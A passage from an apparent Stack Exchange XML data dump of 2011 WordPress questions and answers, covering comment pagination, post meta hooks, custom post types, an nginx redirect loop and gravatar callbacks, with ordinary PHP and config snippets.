LastActivityDate="2011-08-20T22:22:01.593" />
  <row Id="26434" PostTypeId="1" CreationDate="2011-08-20T22:32:49.313" Score="0" ViewCount="34" Body="&lt;p&gt;what im trying to accomplish is adding a pagination to my function for comments. I think im on the right track with my code but I need some guidance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $comments = get_comments('number=24&amp;amp;amp;amp;status=approve');&#xA;$true_comment_count = 0;&#xA;foreach($comments as $comment) :&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php $comment_id = get_comment(get_comment_ID())-&amp;gt;user_id; ?&amp;gt;&#xA;&amp;lt;?php $comment_type = get_comment_type(); ?&amp;gt;&#xA;&amp;lt;?php if($comment_type == 'comment') { ?&amp;gt;&#xA;&amp;lt;?php $true_comment_count = $true_comment_count +1; ?&amp;gt;&#xA;&amp;lt;?php $comm_title = get_the_title($comment-&amp;gt;comment_post_ID);?&amp;gt;&#xA;&amp;lt;?php $comm_link = get_comment_link($comment-&amp;gt;comment_ID);?&amp;gt;&#xA;&amp;lt;?php $comm_comm_temp = get_comment($comment-&amp;gt;comment_ID,ARRAY_A);?&amp;gt;&#xA;&amp;lt;?php $comm_content = $comm_comm_temp['comment_content'];?&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&#xA;&#xA;&amp;lt;span class=&quot;footer_comm_author&quot;&amp;gt;&#xA;&amp;lt;img width=&quot;170&quot; height=&quot;150&quot; class=&quot; avatar user-&amp;lt;?php echo $comment_id ?&amp;gt;-avatar&quot; alt=&quot;&quot; src=&quot;http://deafcube.com/wp-content/plugins/user-avatar/user-avatar-pic.php?id=&amp;lt;?php echo $comment_id ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;comment-text&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo($comm_link)?&amp;gt;&quot; title=&quot;&amp;lt;?php comment_excerpt(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo($comment-&amp;gt;comment_author)?&amp;gt;&amp;lt;/span&amp;gt; on &#xA;&amp;lt;?php echo $comm_title?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/li&amp;gt; &#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php if($true_comment_count == 24) {break;} ?&amp;gt;&#xA;&amp;lt;?php endforeach;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;pagination-comments&quot;&amp;gt;&amp;lt;?php paginate_comments_links($true_comment_count); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THANK YOU ALL!&lt;/p&gt;&#xA;" OwnerUserId="7924" LastEditorUserId="7924" LastEditorDisplayName="" LastEditDate="2011-08-21T03:28:46.940" LastActivityDate="2011-08-21T03:28:46.940" Title="Pagination Comments Doesn't Show" Tags="&lt;comments&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26436" PostTypeId="2" ParentId="19616" CreationDate="2011-08-20T23:00:30.020" Score="1" ViewCount="" Body="&lt;p&gt;I know you've long since solved this, but wanted to offer another solution. This question popped up as &quot;related&quot; when I was answering another one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the WordPress function &lt;code&gt;wp_list_pluck&lt;/code&gt; to return an array with values as one of the fields of the array or objects sent to the function. In other words, send the function the objects and specify the field you want back and you'll get an array with only that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, you can do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ids = wp_list_pluck(get_terms('category', 'hide_empty=0'), 'term_id'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ids&lt;/code&gt; will be an array of the terms ids that you wanted to capture.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-20T23:00:30.020" CommentCount="2" />
  <row Id="26437" PostTypeId="1" AcceptedAnswerId="26476" CreationDate="2011-08-20T23:33:00.107" Score="0" ViewCount="18" Body="&lt;p&gt;For example  I have 20 pages on a site.  one of them is called bacon another called eggs. on the same site...lets say breakfast.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the permalinks set up properly and have used them successfully on all pages, including Eggs by way of this:&#xA;www.breakfast.com/eggs?cooked=scrambled.&#xA;This works 100% as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on a different page of Breakfast.com called sausage...this, does not work.&#xA;www.breakfast.com/sausage?type=spicy &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is causes a 404 error.  I don't see why it would as it's the same format.  I have verified that the page exists in my pages directory in WP-admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I strip away the GET variable the page works.  Google is not helping me.  Anyone have a similar experience?&lt;/p&gt;&#xA;" OwnerUserId="8068" LastActivityDate="2011-08-21T16:12:01.873" Title="Why would a GET variable one one page of a site cause a 404 error when a GET variable works on another page of a site?" Tags="&lt;php&gt;&lt;html&gt;&lt;404-error&gt;&lt;404&gt;" AnswerCount="1" />
  <row Id="26438" PostTypeId="2" ParentId="16835" CreationDate="2011-08-20T23:59:20.230" Score="0" ViewCount="" Body="&lt;p&gt;Jan answer covers pretty much it above except for the case where a custom metadata is deleted from the Edit Post page. This happens asynchronously as soon as you click on the &quot;Delete&quot; button under the metadata, via a call to wp-admin/admin-ajax.php. Unfortunately, that calls bypass the &lt;code&gt;delete_metadata()&lt;/code&gt; function in meta.php and calls &lt;code&gt;delete_meta()&lt;/code&gt; in wp-admin/includes/post.php instead (not to be confused with wp-includes/post.php). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 actions that can still be used though, &lt;code&gt;delete_postmeta&lt;/code&gt; (before deletion), and &lt;code&gt;deleted_postmeta&lt;/code&gt; (after deletion). Both accept a single parameter &lt;code&gt;$mid&lt;/code&gt;, which is the ID of the metadata (&lt;em&gt;not&lt;/em&gt; the key). You can retrieve the metadata object using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_post_meta_by_id($mid);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which returns an object with meta_id, post_id, meta_key abd meta_value. Of course, by the time &lt;code&gt;deleted_postmeta&lt;/code&gt; is called the metadata has been deleted so &lt;code&gt;get_post_meta_by_id()&lt;/code&gt; won't work (which kinda makes that action useless)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same goes for updating a custom metadata from the Edit Post page. The &lt;code&gt;update_metadata()&lt;/code&gt; function (and its actions) in meta.php is &lt;em&gt;not&lt;/em&gt; called, but the &lt;code&gt;update_meta()&lt;/code&gt; function in wp-admin/includes/post.php is instead. Two actions again here, &lt;code&gt;update_postmeta&lt;/code&gt; and &lt;code&gt;updated_postmeta&lt;/code&gt;. The args are $meta_id, $post_id, $meta_key, $meta_value.&lt;/p&gt;&#xA;" OwnerUserId="8069" LastEditorUserId="8069" LastEditorDisplayName="" LastEditDate="2011-08-21T01:04:41.980" LastActivityDate="2011-08-21T01:04:41.980" />
  <row Id="26439" PostTypeId="2" ParentId="26434" CreationDate="2011-08-21T00:19:31.020" Score="0" ViewCount="" Body="&lt;p&gt;I don't think you're passing arguments correctly to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_comments_links&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;paginate_comments_links()&lt;/code&gt;&lt;/a&gt;. The function is basically a wrapper for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;paginate_links()&lt;/code&gt;&lt;/a&gt;, and accepts the same array of arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the defaults:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $args = array(&#xA;        'base'         =&amp;gt; '%_%',&#xA;        'format'       =&amp;gt; '?page=%#%',&#xA;        'total'        =&amp;gt; 1,&#xA;        'current'      =&amp;gt; 0,&#xA;        'show_all'     =&amp;gt; False,&#xA;        'end_size'     =&amp;gt; 1,&#xA;        'mid_size'     =&amp;gt; 2,&#xA;        'prev_next'    =&amp;gt; True,&#xA;        'prev_text'    =&amp;gt; __('&amp;amp;laquo; Previous'),&#xA;        'next_text'    =&amp;gt; __('Next &amp;amp;raquo;'),&#xA;        'type'         =&amp;gt; 'plain',&#xA;        'add_args'     =&amp;gt; False,&#xA;        'add_fragment' =&amp;gt;  ''&#xA;    ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's how I use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php paginate_comments_links( array( 'prev_text' =&amp;gt; '&amp;amp;lt;&amp;amp;lt;', 'next_text' =&amp;gt; '&amp;amp;gt;&amp;amp;gt;' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what arguments are you trying to pass to the function?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-21T00:19:31.020" CommentCount="13" />
  <row Id="26440" PostTypeId="2" ParentId="7130" CreationDate="2011-08-21T01:33:26.523" Score="2" ViewCount="" Body="&lt;p&gt;As noted in the trac ticket, you need to add that UI element in yourself. If you're still looking for it, I made a plugin to add custom post type sticky support, available here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://superann.com/sticky-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;http&amp;#58;//superann.com/sticky-custom-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8070" LastActivityDate="2011-08-21T01:33:26.523" />
  <row Id="26441" PostTypeId="1" CreationDate="2011-08-21T02:25:44.060" Score="0" ViewCount="20" Body="&lt;p&gt;I'm registering a custom post type within my theme, and everything works OK, but then I notice that the &quot;Add Image&quot; window has no &quot;Gallery&quot; tab, even after inserting several images into the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the post type registration code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-php prettyprint-override&quot;&gt;&lt;code&gt;function theme_hook_editorial_post_type_init() {&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x('Editorials', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Editorial', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'editorial'),&#xA;    'add_new_item' =&amp;gt; __('Add New Editorial'),&#xA;    'edit_item' =&amp;gt; __('Edit Editorial'),&#xA;    'new_item' =&amp;gt; __('New Editorial'),&#xA;    'view_item' =&amp;gt; __('View Editorial'),&#xA;    'search_items' =&amp;gt; __('Search Editorial'),&#xA;    'not_found' =&amp;gt;  __('No sditorials found'),&#xA;    'not_found_in_trash' =&amp;gt; __('No editorial found in Trash'),&#xA;    'parent_item_colon' =&amp;gt; '',&#xA;    'menu_name' =&amp;gt; __('Editorial')&#xA;  );&#xA;  $args = array(&#xA;    'label' =&amp;gt; __('Editorial'),&#xA;    'description' =&amp;gt; __('Editorial are posts that are used at the beginning of'.&#xA;                        ' the home page. The excerpt of the post is used right'.&#xA;                        ' in the front page, while the full content is '.&#xA;                        'displayed when clicking the &quot;more&quot; links.'),&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_menu' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; 'editorial',&#xA;    'menu_position' =&amp;gt; 20,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title', 'excerpt', 'editor', 'thumbnail', 'author', 'revisions'),&#xA;    'taxonomies' =&amp;gt; array('editorial'),&#xA;    'rewrite' =&amp;gt; true,&#xA;    'has_archive' =&amp;gt; true,&#xA;  );&#xA;  register_post_type('editorial', $args);&#xA;}&#xA;// ...&#xA;add_action('init', 'theme_hook_editorial_post_type_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need that funcionality, mostly to display a random image for the post thumbnail, chosing a random one from the images attached to the post. The weird part is that the images ARE attached to the post, when inserted into the text. But there's no GUI way of managing what images are attached to this post since there's no gallery tab in the media window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? I even set &lt;code&gt;hierarchical =&amp;gt; True&lt;/code&gt; when registering the post type, since I now that attachment are implemented as child posts. Is this deliberately disabled (it wouldn't be the first).&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2011-08-21T02:25:44.060" Title="Why the Insert Media box has no &quot;Gallery&quot; link for a custom post type?" Tags="&lt;custom-post-types&gt;&lt;attachments&gt;&lt;gallery&gt;&lt;media-library&gt;" CommentCount="2" />
  <row Id="26442" PostTypeId="1" CreationDate="2011-08-21T02:51:52.323" Score="0" ViewCount="8" Body="&lt;p&gt;Anyone know how to do this? I can use it on its own page, but I am getting hung up on making it show up in my content area. Any help would be appreciated. &#xA;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="752" LastActivityDate="2011-08-21T02:51:52.323" Title="Embedding Event Calendar Pro plugin within a page or post" Tags="&lt;plugins&gt;&lt;calendar&gt;" />
  <row Id="26444" PostTypeId="1" CreationDate="2011-08-21T04:31:27.227" Score="0" ViewCount="15" Body="&lt;p&gt;I have a specific custom post type &quot;people&quot; and for the urls/slugs/permalinks in this category, I would like to be able to append the information from 3 custom fields to the end.  For example, if my title was 147 (all of the titles in this custom post type are numerical) I would like the slug to become www.mysite.com/people/147/custom1-custom2-custom3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the custom1-custom2-custom3 part would not actually affect where the link takes you.  Eg, writing /www.mysite.com/people/147/custom1-custom2-custom3 would take you to the same page as www.mysite.com/people/147/i-can-type-random-things-here.  I am aware that this is possible, but I don't know how to accomplish it.  &lt;/p&gt;&#xA;" OwnerUserId="7358" LastEditorUserId="7358" LastEditorDisplayName="" LastEditDate="2011-08-21T04:51:02.857" LastActivityDate="2011-08-21T04:51:02.857" Title="Appending information from custom fields to the end of a slug /permalink" Tags="&lt;custom-field&gt;&lt;permalinks&gt;&lt;slug&gt;" />
  <row Id="26445" PostTypeId="1" AcceptedAnswerId="26475" CreationDate="2011-08-21T05:13:59.870" Score="-1" ViewCount="48" Body="&lt;p&gt;Why is &lt;a href=&quot;http://compassionpit.com/blog/&quot; rel=&quot;nofollow&quot;&gt;http://compassionpit.com/blog/&lt;/a&gt; going through an infinite redirect loop? Here's my nginx conf file. The site is run by a nodejs server on port 8000 and Apache serves up the blog (wordpress) and the forum (phpBB). The forum is resolving just fine, at &lt;a href=&quot;http://www.compassionpit.com/forum/&quot; rel=&quot;nofollow&quot;&gt;http://www.compassionpit.com/forum/&lt;/a&gt; ...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This webpage has a redirect loop The webpage at&#xA;  &lt;a href=&quot;http://www.compassionpit.com/blog/&quot; rel=&quot;nofollow&quot;&gt;http://www.compassionpit.com/blog/&lt;/a&gt; has resulted in too many redirects.&#xA;  Clearing your cookies for this site or allowing third-party cookies&#xA;  may fix the problem. If not, it is possibly a server configuration&#xA;  issue and not a problem with your computer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    listen          80;&#xA;    server_name     www.compassionpit.org;&#xA;    rewrite         ^/(.*) http://www.compassionpit.com/$1  permanent;&#xA;}&#xA;&#xA;&#xA;server {&#xA;    listen       80;                # your server's public IP address&#xA;    server_name  www.compassionpit.com;&#xA;    index        index.php index.html;&#xA;&#xA;    location ~ ^/$ {&#xA;        proxy_pass http://127.0.0.1:8000;&#xA;        proxy_set_header X-Real-IP $remote_addr;&#xA;        proxy_set_header Host $host;&#xA;        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;    }&#xA;&#xA;    location @blogphp {&#xA;        internal;&#xA;        root /opt/blog/;&#xA;        include fastcgi_params;&#xA;        fastcgi_param  SCRIPT_FILENAME  $document_root/index.php;&#xA;        fastcgi_index  index.php;&#xA;        fastcgi_pass   127.0.0.1:8080;&#xA;    }&#xA;&#xA;    location ~ ^/(forum|blog)/($|.*\.php) {&#xA;        root /opt/;&#xA;        include fastcgi_params;&#xA;        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;&#xA;        fastcgi_index  index.php;&#xA;        fastcgi_pass   127.0.0.1:8080;&#xA;    }&#xA;&#xA;    location ~ ^/(forum|blog) {&#xA;        root /opt/;&#xA;        try_files $uri $uri/ @blogphp;&#xA;    }&#xA;&#xA;    location ~ ^/(forum|blog)/ {&#xA;       root /opt/;&#xA;    }&#xA;&#xA;&#xA;    location @backend {&#xA;        internal;&#xA;        proxy_pass http://127.0.0.1:8000;&#xA;        proxy_set_header X-Real-IP $remote_addr;&#xA;        proxy_set_header Host $host;&#xA;        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;    }&#xA;&#xA;    location ~ / {&#xA;        root /opt/chat/static/;&#xA;        try_files $uri $uri/ @backend;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2207" LastActivityDate="2011-08-21T16:08:31.080" Title="Blog has an infinite redirect loop" Tags="&lt;redirect&gt;&lt;wordpress.org&gt;&lt;blog&gt;&lt;nginx&gt;&lt;http-301&gt;" AnswerCount="1" />
  <row Id="26446" PostTypeId="1" CreationDate="2011-08-21T06:08:12.310" Score="0" ViewCount="29" Body="&lt;p&gt;Because there is no category option on pages I desided to add post category to main nav.&#xA;I added the category and added posts on it but it doesn't dsplays the sub category on menu.&#xA;what should I do to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing is If I am inside one of the post/page of a category I want to display all the page / post menu on left side bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="7966" LastActivityDate="2011-08-21T07:41:19.427" Title="Add posts from a category to menu with all posts in it as sub menu" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="26447" PostTypeId="1" CreationDate="2011-08-21T06:13:49.653" Score="0" ViewCount="21" Body="&lt;p&gt;Is there a way to disable archives pages, specifically monthly archives?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-08-21T08:56:37.710" Title="How to disable monthly archive" Tags="&lt;archive&gt;" AnswerCount="1" />
  <row Id="26448" PostTypeId="1" CreationDate="2011-08-21T06:27:10.017" Score="0" ViewCount="10" Body="&lt;p&gt;I previously edited functions.php to add a selection of avatars to Discussion Settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// customize default gravatars&#xA;function custom_gravatars($avatar_defaults) {&#xA;&#xA;    // change the default gravatar&#xA;    $customGravatar1 = get_bloginfo('template_directory').'/images/guestgravatar01.jpg';&#xA;    $avatar_defaults[$customGravatar1] = 'Default';&#xA;&#xA;    // add a custom user gravatar&#xA;    $customGravatar2 = get_bloginfo('template_directory').'/images/guestgravatar02.jpg';&#xA;    $avatar_defaults[$customGravatar2] = 'Custom Gravatar';&#xA;&#xA;    // add another custom gravatar&#xA;    $customGravatar3 = get_bloginfo('template_directory').'/images/guestgravatar03';&#xA;    $avatar_defaults[$customGravatar3] = 'Custom gravatar';&#xA;&#xA;    return $avatar_defaults;&#xA;}&#xA;add_filter('avatar_defaults', 'custom_gravatars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worked great until I added a custom callback function so I could customize the comments display. Here's the edit, as taken from the Codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_comment($comment, $args, $depth) {&#xA;   $GLOBALS['comment'] = $comment; ?&amp;gt;&#xA;   &amp;lt;li &amp;lt;?php comment_class(); ?&amp;gt; id=&quot;li-comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;comment-author vcard&quot;&amp;gt;&#xA;         &amp;lt;?php echo get_avatar($comment,$size='75',$default='&amp;lt;path_to_url&amp;gt;' ); ?&amp;gt;&#xA;&#xA;         &amp;lt;?php printf(__('&amp;lt;cite class=&quot;fn&quot;&amp;gt;%s&amp;lt;/cite&amp;gt; &amp;lt;span class=&quot;says&quot;&amp;gt;says:&amp;lt;/span&amp;gt;'), get_comment_author_link()) ?&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php if ($comment-&amp;gt;comment_approved == '0') : ?&amp;gt;&#xA;         &amp;lt;em&amp;gt;&amp;lt;?php _e('Your comment is awaiting moderation.') ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;         &amp;lt;br /&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;comment-meta commentmetadata&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo htmlspecialchars( get_comment_link( $comment-&amp;gt;comment_ID ) ) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php printf(__('at %2$s on  %1$s'), get_comment_date(), get_comment_time()) ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php edit_comment_link(__('(Edit)'),'  ','') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;?php comment_text() ?&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;reply&quot;&amp;gt;&#xA;         &amp;lt;?php comment_reply_link(array_merge( $args, array('depth' =&amp;gt; $depth, 'max_depth' =&amp;gt; $args['max_depth']))) ?&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the custom callback requires the path be input once again to a default avatar. This has the effect of overriding the selection of avatars previously added to Discussion settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I correct this, so default avatars can once again be selected from Discussion Settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditorDisplayName="" LastEditDate="2011-08-21T08:16:54.623" LastActivityDate="2011-08-21T08:16:54.623" Title="Custom comment callback is overriding default gravatars edit in functions.php" Tags="&lt;functions&gt;&lt;avatar&gt;&lt;gravatar&gt;" />
  <row Id="26449" PostTypeId="2" ParentId="26277" CreationDate="2011-08-21T07:00:50.220" Score="0" ViewCount="" Body="&lt;p&gt;All versions of Wordpress are listed &lt;a href=&quot;http://wordpress.org/download/release-archive/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Download whichever you need.&lt;/p&gt;&#xA;" OwnerUserId="5730" LastActivityDate="2011-08-21T07:00:50.220" />
  <row Id="26450" PostTypeId="2" ParentId="26446" CreationDate="2011-08-21T07:41:19.427" Score="0" ViewCount="" Body="&lt;p&gt;I had put the following code into sidebar.php to display a list eith sub-categories  of &quot;Store&quot; categori and the posts of them. &#xA;Hope I understand what you need and it will be helpfull. if not can ask more explicite   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?&#xA;                // Get categories for parent category store&#xA;                // Get ID cat by slug&#xA;                $id_store = get_category_id('store');&#xA;&#xA;                $stores = get_categories(array('child_of' =&amp;gt; $id_store, 'hide_empty' =&amp;gt; 0));&#xA;            ?&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                     &amp;lt;?php foreach ($stores as $categ_list): ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;cats-&amp;lt;?php echo $categ_list-&amp;gt;cat_ID; ?&amp;gt; dropcats&quot;&amp;gt;&#xA;&#xA;                                &amp;lt;?php echo $categ_list-&amp;gt;cat_name; ?&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;?php       &#xA;                    $args = array(&#xA;                        'category' =&amp;gt; $categ_list-&amp;gt;cat_ID,&#xA;                        'numberposts' =&amp;gt; -1,&#xA;                        'orderby' =&amp;gt; 'title',&#xA;                        'order' =&amp;gt; 'asc'&#xA;                    );&#xA;&#xA;                    // Get posts for store category&#xA;&#xA;                    $store_posts = get_posts($args);&#xA;                    // If there is any posts&#xA;                    if (count($store_posts) &amp;gt; 0) {&#xA;            ?&amp;gt;&#xA;&#xA;                            &amp;lt;ul class=&quot;markes&quot;&amp;gt;&#xA;                                &amp;lt;?php foreach ($store_posts as $post) { ?&amp;gt;              &#xA;                                    &amp;lt;li class=&quot;post-&amp;lt;?php echo $post-&amp;gt;ID; ?&amp;gt;&quot;&amp;gt;&#xA;                                        &amp;lt;a href=&quot;&amp;lt;?php echo $post-&amp;gt;post_name; ?&amp;gt;&quot; class=&quot;marke-&amp;lt;?php echo $post-&amp;gt;ID;?&amp;gt;&quot;&amp;gt;&#xA;                                            &amp;lt;?php echo $post-&amp;gt;post_name; ?&amp;gt; &#xA;                                        &amp;lt;/a&amp;gt;&#xA;                                    &amp;lt;/li&amp;gt;&#xA;                                &amp;lt;?php } ?&amp;gt;&#xA;                                 &amp;lt;/li&amp;gt;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;&#xA;            &amp;lt;?php   } &#xA;&#xA;                endforeach;&#xA;            ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8073" LastActivityDate="2011-08-21T07:41:19.427" CommentCount="1" />
  <row Id="26451" PostTypeId="1" CreationDate="2011-08-21T07:58:32.910" Score="0" ViewCount="20" Body="&lt;p&gt;I have created a website in Wordpress.com which is basically a port from an older website. One of the requirements from the site owners is that there is a &quot;counter&quot; in the first page that counts unique visits and page-views. Now that I switched to Wordpress, I need a way to port the statistics of the old site. Is there a way to do that in Wordpress?&lt;/p&gt;&#xA;" OwnerUserId="8074" LastEditorUserId="2226" LastEditorDisplayName="" LastEditDate="2011-08-21T19:41:22.593" LastActivityDate="2011-08-21T19:41:22.593" Title="How do I setup the starting site statistics?" Tags="&lt;wordpress.com&gt;&lt;stats&gt;" CommentCount="4" />
  <row Id="26452" PostTypeId="1" CreationDate="2011-08-21T08:02:27.270" Score="0" ViewCount="25" Body="&lt;p&gt;I'm working on a new blog which display in a list, on sidebar, some categoryes and the posts of them. &#xA;In the index page, in main content, I list some post titles from other category &quot;New&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to know is how to display, above the post titles from New, the content of a post from sidebar when I click on it. &lt;/p&gt;&#xA;" OwnerUserId="8073" LastActivityDate="2011-08-21T10:31:14.240" Title="How to load on index the content foom a post in a empty div?" Tags="&lt;posts&gt;&lt;jquery&gt;&lt;ajax&gt;&lt;content&gt;" AnswerCount="1" />
  <row Id="26453" PostTypeId="1" CreationDate="2011-08-21T08:45:57.280" Score="0" ViewCount="21" Body="&lt;p&gt;Is there an available Google Adwords Conversion plugin for wordpress? I search high and low but can't find any. &lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2011-08-23T04:03:03.527" Title="Google Adwords Conversion plugin" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26454" PostTypeId="2" ParentId="26447" CreationDate="2011-08-21T08:56:37.710" Score="0" ViewCount="" Body="&lt;p&gt;Check &lt;a href=&quot;http://betterwp.net/wordpress-tips/disable-some-wordpress-pages/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; by BetterWP. You may need to edit the code as it does not mention about monthly archives. &lt;/p&gt;&#xA;" OwnerUserId="5730" LastActivityDate="2011-08-21T08:56:37.710" />
  <row Id="26455" PostTypeId="2" ParentId="25982" CreationDate="2011-08-21T10:00:00.697" Score="0" ViewCount="" Body="&lt;p&gt;Moving all content that is just pure text information into Wordpress is step one.&lt;br&gt;&#xA;You must choose if you want to create pages or posts for this content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a basic rule (for me), the pages generates the navigation structure for my site, and posts are articles. So one page may list several articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you might have PHP files that generate content by them selves. E.g. retrieveing data from custom DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For these pages, you create custom templates. The easiest way is to add the following at the very top of your PHP pages that needs to be kept as theu are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;  Template Name: You custom template name&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then of course add the header, left section, footer etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside WP just create a page and select the corresponding template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way, you can easy update &quot;static&quot; content by editing pages / posts, and for the custom tempaltes I guess the data needs to be altered in DB or whereever you get the info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the same process for single and multisite.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-08-21T10:53:54.893" LastActivityDate="2011-08-21T10:53:54.893" CommentCount="2" />
